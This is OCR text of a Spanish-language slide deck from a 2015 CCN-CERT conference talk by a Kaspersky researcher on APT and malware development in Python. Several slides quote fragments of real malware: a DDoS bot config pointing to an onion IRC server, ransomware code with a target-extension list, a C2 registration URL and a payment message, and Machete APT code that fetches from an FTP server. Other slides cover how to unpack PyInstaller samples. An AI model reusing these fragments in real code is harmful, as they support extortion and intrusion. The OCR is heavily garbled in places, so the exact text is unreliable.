- a ﬂ drid, 10 y 11 de dlCtembre 2015

2 i | =

~APT-con P de Python ;

101110101008
10711010090

CENTRO {.-mFrou:-cxo NaCioeal

WWW.ccn-cert.cni.es



-

X JORNADAS -
HSEC e

o

* Vicente Diaz @trompi
» Kaspersky Lab

* Vicente.diaz@kaspersky.com

WWW.ccn-cert.cni.es




X' IJORNADAS STIC CCN-CERT

Intro — DOnde estamos
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cuLtura | Lacontra | viaies J TeLEVISION m

Television
Los diez anuncios que te
emocionaran esta Navidad

Emotivos mensajes en las campanas de las

marcas mas importantes en estas fechas Pep Guardiola: “;Yo, al Madrid? No,
no seria bueno, no encajamos”

Ramos, enfadado con Piqué,
quiere hablar cara a cara con €l

AL
M* INTERIONR
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Opcion 1 — Desarrollo Propio

Ventajas:
Exclusividad
Adaptado a las necesidades
Tecnologia propia

Desventajas:
Atribucion
Coste
Caducidad
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Rely on us.
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Opcidén 2 — Desarrollo Externo

Ventajas:
Precio
Atribucion
Velocidad

Desventajas:
Falta de control
Exclusividad
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GitHUb Tris repoestony Explore Features Enterprise Pricing u Sign In

hzeroo / Carberp GWaich o  #Str 28 YFoek 20

Opcidén 3 — Reutilizacion

43 Code bssuns 0 Pull mquesis 0 Puisa Graghs

Branch: master ~  Carberp / source - absource / pro / all source / ' Fndme Hsoy  \/@N taj as:

Eh.mrn-ur- rst commit Latest commit Gd449af on 26 Jun 2013 PreC|O
Atribucion
Velocidad

W BC Firs! commit 3 years ago
i B Firg] oommit 3 ylars ago
W BSS First commit 3 years ago

I BinToHax Firsl commit 3 yBArs &00

Desventajas:
B Blackoshibeos Firs! commit J y0irs ago .
R N N Necesidades
I Demao_Cur2 First commil 3 yaars ago EXCIUSiVidad

i Derna Curd Firsd comimit 3 yoars ago
M Uema_cur First commit 4 VEars ago
B DliLoaderHook Firsl commit 3 years ago

B DiiLoaderHook1 Firsil commit J yBirs 890
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Python y malware
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Lenguajes interpretados: Baja deteccion.
“Multiplataforma”

No importa el tamano. FatNan@

Facilidad para implementar cualquier funcionaiaaa.
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DDoSer

ircServers = [
"t4gtuShr7ng***** onion:6667:#t90ioTe”

s.send("JOIN #Administration LICKMYBALLS\r\n")

doSSHscan=False doUDPflood=False
doTeamSpeak=False doTeamSpeaks=False
doFTPflood=False doFTPSflood=False
doTCPflood=False doProtect=True
doSSLflood=False doHTTPflood=False
doHTTPSflood=False botkiller = False

doomeglespreader = False
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Ransom

encrypt_ext = set(['.3fr', ".aac’, '.accdb’, ".ai', ".arw', ".bay’, .cdr', '.cer’, ".cr2', ‘.crt’, ".crw’, ".txt', ".rtf',
'mp3', .\mp4’, "flac', ".iso', .vdi', ".dbf', ".dcr', ".der’, .dng', '.doc’, .docm’, ".docx’, ".dwg', '.dxf', ".dxg’,
‘eps', .erf, "indd', ".jpe', ".jpg', .jpeg’, .png', '.kdc', '.mdb’, '.mdf, ‘. mef’, .\mrw', ".nef’, '.nrw’, '.odb’,
.odm', ".odp’, '.ods', ".odt', ".orf', ".p12', ".p7b’', ".p7c', ".pdd’, ".pdf", ".pef’, .pem’, ".pfx', ".ppt’, ".pptm’,
Lpptx', ".ps’, ".psd’, ".pst’, ".ptx', .r3d', ".raf', .raw’, ".rtf', ".rw2', ".rwl’, ".srf', Ltiff!, .srw', "wb2', ".wpd',
Lwps', ".xIk', ".xls', ".xlsb', '.xlsm', ".xIsx', ".zip', ".rar', '.72'])

response = urllib2.urlopen(‘http://oshy4jtdajddxxxx.onion:1337/register?ip="+ ip + '&width="'+
str(width) + '&height="'+ str(height))

if not key:

user32dll.MessageBoxA(None, "We have not received your payment yet.\nIf you have just
completed the payment, please make sure that the transaction has been processed successfully and
try again.", "Payment required", 0x00040040)
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APTs

Machete — complejidad muy baja!

Universitarias.pps
PP try:

ruta = 'http://' + ftp_servidor2 +'/' +
WebCam + '/Cam.txt'
site = urllib.urlopen(ruta)
meta = site.info()
peso = meta.getheaders('Content-
Length')[0]
if peso =="1635"
pass
else:
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APTs

Machete — complejidad muy baja!

Mombre de usuarno
. o i (
Universitarias.pps Sn&

Contrazef .

= p://' + ftp_servidor2 +'/' +

b /Cam.txt'

| BAceptar | | Cancelar | b-urIOpen(rUta)

e.info()

rta.getheaders('Content-
Length')[0]
if peso =="1635"
pass

else:
15
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Scarlett
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www.onva.be/fr/Accueil
' ONVA OFFICE NATIONAL DES VACANCES ANNUELLES

Serial: 01 00 00 00 00 01 2d c1 75 fc 6f

Thumbprint: ed 13 11 df al 7b ce 95 9b 56 17 02 ff 8e b1 15 90 94 22 3c
Valid from: Wednesday, January 26, 2011 11:53:26 AM
Valid to: Thursday, April 26, 2012 11:53:26 AM
Subject:

O = Office National des Vacances Annuelles

OU = Terms of use at www.verisign.fr/rpa (c)05

S = BRUSSELS

L = BRUSSELS

C=BE

CN = vivaldi.onva-rjv.fgov.be

WWW.ccn-cert.cni.es
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Analizar python
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Python burrito

PY

PYC
PYD
PYZ




pyinstxtractor.py ftw!

Crypto.Util.strxor.pyd
h include\pyconfig.h
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KiQ15A1tpKH7

@ KiQ15A1tpKH7.exe.manifest
mfc90.dll
mfc90u.dll
mfcm90.dll
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A veces hay que buscar el PYZ manualmente ...

4E47 5059 5A00 @3F3 XPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPYZ. .U

5868 1994 4157 E81E ....flI..... X/MROKED . VB A. Trolioo{(]. 5T A.AXh.TAWE.
D868 2116 6CO7 421F O @atéEd.HAtYe. ;mi”mSE|:>3fIR”)+ U°>040vh!.1.B.
6967 2E68 0Q00 0000 0000 0000 0000 0000 Q00O 0A30 0R44 E4A6 0RO 9142 G0QD @2DB @162 7363 SF74 6D70 2E6S 7865 2E6D 1g.h............... 0.0%7...B...£.bsc_tmp.exe.m
616F 6966 6573 7400 0000 000 0000 0A0D QOG0 4D45 499C 0BAA OBOE @044 ECSP @044 ESES 00AR 0610 0G0 0O1B 7079 7468 anifest........... MEL...... DIP.DAE........ pyth
BFOE 3237 2E64 6C6C QOO 000 0000 0A0D QARG QBOD PG 0ACR AOGD AR0D RO 0000 APDR 00AR VOGP G000 AADR BAAR BABR on27.dll.........vi i
P000 (O00 DRAD 00RO PPd 000D 0A00 AGRD 000G 0007 0200 3082 @DED 0629 2A30 4886 F70D @197 0240 820D 7E30 820D 7A02 ... ..vivii... foreinn. BC.c. HHD . 1C.~0C. 2.
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import dis

print dis.disassemble(marshal.dumps(de_aesed))

Y voila:
85 LOAD NAME 8 (chr)
88 LOAD_CONST 5(78)
91 CALL_FUNCTION 1
94 LOAD_NAME 8 (chr)
97 LOAD_CONST 6 (50)
100 CALL_FUNCTION 1

103 BINARY_ADD
104 LOAD_NAME 8 (chr)
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Conclusiones
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